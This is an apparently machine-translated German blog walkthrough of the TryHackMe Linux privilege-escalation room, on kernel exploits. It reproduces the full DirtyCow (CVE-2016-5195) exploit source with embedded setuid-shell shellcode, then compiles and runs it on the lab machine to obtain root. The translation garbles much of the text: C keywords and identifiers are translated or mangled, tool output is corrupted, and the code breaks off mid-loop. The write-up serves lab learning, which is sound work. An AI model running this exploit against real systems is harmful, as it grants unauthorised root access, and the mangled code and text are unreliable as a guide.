Dieses Mal werden wir "Erhöhung der Privilegien mit Kernel -Exploits" versuchen.
Die Zielmaschine nutzt den Raum unten von TryHackme.
"Tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc "

Dieser Artikel ist Teil 10.
Wenn Sie die Schreiben für Linux Privesc mit TryHackMe überprüfen möchten, überprüfen Sie bitte auch elektronische Berechtigungen, die Sicherungen von Verlaufsdateien, Konfigurationsdateien und wichtigen Dateien ausnutzen




Vorbereitung
Starten Sie zunächst die Zielmaschine mit Startmaschine.

Es ist in Ordnung, wenn die IP -Adresse angezeigt wird.

Da es dieses Mal zu Privilegien eskaliert wird, werde ich prüfen, wo es über SSH verbunden werden kann.
Verbinden Sie mit "User/Password321", wie in TryHackme gezeigt.
┌── (hacklab㉿hacklab)-[~/tryhackme/linuxprv] └─ $ ssh user@10.10.175.49 130 ⨯ user@10.10.175.49's Passwort: Linux Debian 2.6.32-5-5-AMD64 #1 SMP TUE TUE 13:3:35 2014 x864 Die Programme mit den Debianen 13:34:35 2014 2014 x864. System sind freie Software; Die genauen Verteilungsbegriffe für jedes Programm werden in den einzelnen Dateien in/usr/share/doc/*/copyright beschrieben. Debian GNU/Linux verfügt über eine Garantie, sofern dies nach geltendem Recht zulässig ist. Letzter Login: Fr 15. Mai 06:41:23 2020 von 192.168.1.125
Kernel -Exploits
Ein Kernel -Exploit ist ein Exploit, der Schwachstellen im Kernel selbst schafft, wie Linux und Windows.
Im Wesentlichen arbeitet der Kernel im höchsten privilegierten Modus innerhalb des Systems. Wenn Sie also missbraucht werden, haben Sie fast das gesamte System unter Kontrolle.
Zunächst werden wir Linux Exploit Sughtester 2 verwenden, um potenzielle Kernel -Exploits in Ihrem aktuellen System zu identifizieren.
Benutzer@debian: ~ $ perl /home/user/tools/kernel-exploits/linux-exploit-guggeester-2/linux-exploit-suggeester-2.pl ############# Lokale Kernel: 2.6.32 Suchen 72 Exploits ... Mögliche Exploits ... mögliche Exploits [1] [1] [1] [1] [1] [1] American-20-10-10-10-10-10-10-10-10-447 Exploits ... Mögliche Exploits [1 ########~ arke-Sign-20-10-10-10-10-10-10-10-10-10-10-447 Exploits ... mögliche Exploits [1 ####achs http://www.securityfocus.com/bid/45408 [2] CAN_BCM CVE-2010-2959 Quelle: http://www.exploit-db.com/exploits/14814 [3] Dirty_cow CVE-2016-5195 Quelle: http://www.exploit-db.com/exploits/40616 [4] exploit_x cve-2018-14665 Quelle: http://www.exploit-db.com/exploits/45697 [5] halb_nelson1 alt: econet http://www.exploit-db.com/exploits/17787 [6] half_nelson2 Alt: econet CVE-2010-3850 Source: http://www.exploit-db.com/exploits/17787 [7] half_nelson3 Alt: econet CVE-2010-4073 Source: http://www.exploit-db.com/exploits/17787 [8] MSR CVE-2013-0268 Quelle: http://www.exploit-db.com/exploits/27297 [9] pktcdvdvdvdvdvdvdvd.2010-3437 Quelle: http://www.exploit-db.com/exploits/15150 [10] ptrace_kmod2 Alt: ia32syscall,robert_you_suck CVE-2010-3301 Source: http://www.exploit-db.com/exploits/15023 [11] rawmodePTY CVE-2014-0196 Source: http://packetstormSecurity.com/files/download/126603/cve-2014-0196-md.c [12] RDS CVE-2010-3904 http://www.exploit-db.com/exploits/12130 [14] Video4Linux CVE-2010-3081 Quelle: http://www.exploit-db.com/exploits/15024
Es gibt viele Listen, aber lassen Sie uns die berühmten unten ausnutzen.
[3] Dirty_cow CVE-2016-5195 Quelle: http://www.exploit-db.com/exploits/40616
mit " usr (Eine Sicherung von/usr/bin/Passwort wird in/tmp/zurück erstellt.)
Benutzer@debian: ~ $ cat /home/user/tools/kernel-exploits/dirtycow/c0w.c/ * * a pTrace_pokedata Variante von CVE-2016-5195 * sollte an RHEL 5 & 6 * (UN) KOMMENTIEREN KOMTERLAG (X86 oder X64) arbeiten! * $ gcc -pthread c0w.c -o c0w * $ ./c0w * DirtyCow Root Privilege Eskalation * Backing up/usr/bin/passwd .. to/tmp/bak * mmap fa65a000 * madvise 0 * ptrace 0 * $/usr/bin/passwd * [root# server foo]# whoam uid = 0 (root) gid = 501 (foo) gruppen = 501 (foo) * @kre80r */ #include<fcntl.h> #enthalten<pthread.h> #enthalten<string.h> #enthalten<stdio.h> #enthalten<stdint.h> #enthalten<sys/mman.h> #enthalten<sys/stat.h> #enthalten<sys/types.h> #enthalten<sys/wait.h> #enthalten<sys/ptrace.h> #enthalten<unistd.h> int f; void *map; PID_T PID; pthread_t PTH; strukturstat st; // ändern, wenn keine Berechtigungen zum Lesen char uid_binary [] = "/usr/bin/passwd"; / * * $ msfvenom -p linux/x64/exec cmd =/bin/bash prependsetUid = true -f elf | xxd -i */ unsigned char shell_code[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 }; unsigned int sc_len = 177; / * * $ msfvenom -p linux/x86/exec cmd =/bin/bash prependSetUid = true -f -Elf | xxd -i unsigned char shell_code[] = { 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x10, 0x00, 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80}; unsigned int sc_len = 136; */ void *Madvisethead (void *arg) {int i, c = 0; für (i = 0; i <200000000; i ++) c+= madvise (map, 100, madv_dontneed); printf ("madvise %d \ n \ n", c); } int main (int argc, char *argv []) {printf ("\ n \ (___) \ n \ (oo) _____ / \ n \ @@ \ \\ \ n \ \\ ____, /%s \ n \ // // \ n \ ^^ ^^ \ n \ n \", Suid_Binary); char *backup; printf ("DirtyCow Root -Privileg eskalation \ n"); printf ("Backing %s to /tmp /bak \ n", SUID_BINY); ASPRINTF (& BACKUP, "CP %S /TMP /BAK", SUID_BINY); System (Backup); f = open (SUID_BINY, O_RDONLY); fstat (f, & st); map = mmap (null, st.st_size+sizeof (lang), prot_read, map_private, f, 0); printf ("mmap %x \ n \ n", map); pid = fork (); if (pid) {waitpid (pid, null, 0); int u, i, o, c = 0, l = sc_len; für (i = 0; i <10000/l; i ++) für (o = 0; o
Kompilieren und führen Sie den Code aus.
user@debian:~$ gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w user@debian:~$ ./c0w (___) (oo)_____/ @@ ` \ \ ____, //usr/bin/passwd // // ^^ ^^ DirtyCow root privilege escalation Backing up /usr/bin/passwd to/tmp/bak mmap 534b7000 madvise 0 ptrace 0
Ich glaube, ich konnte Root -Privilegien erhalten, indem ich/usr/bin/passwd!
Benutzer@debian: ~ $/usr/bin/passwd root@debian:/home/user# whoami root
Zusammenfassung
Dieses Mal habe ich "Privilegerhöhe mit Kernel -Exploits" ausprobiert.
Es war vielleicht ein bisschen überraschend zu sehen, dass es allein in Kernel -Exploits bis zu 14 Schwachstellen gibt.
Da es sich um ein letzter Ausweg handelt, weiß ich nicht, ob ich es in Zukunft verwenden werde, aber ich muss mich erinnern.
Referenzen und Websites
-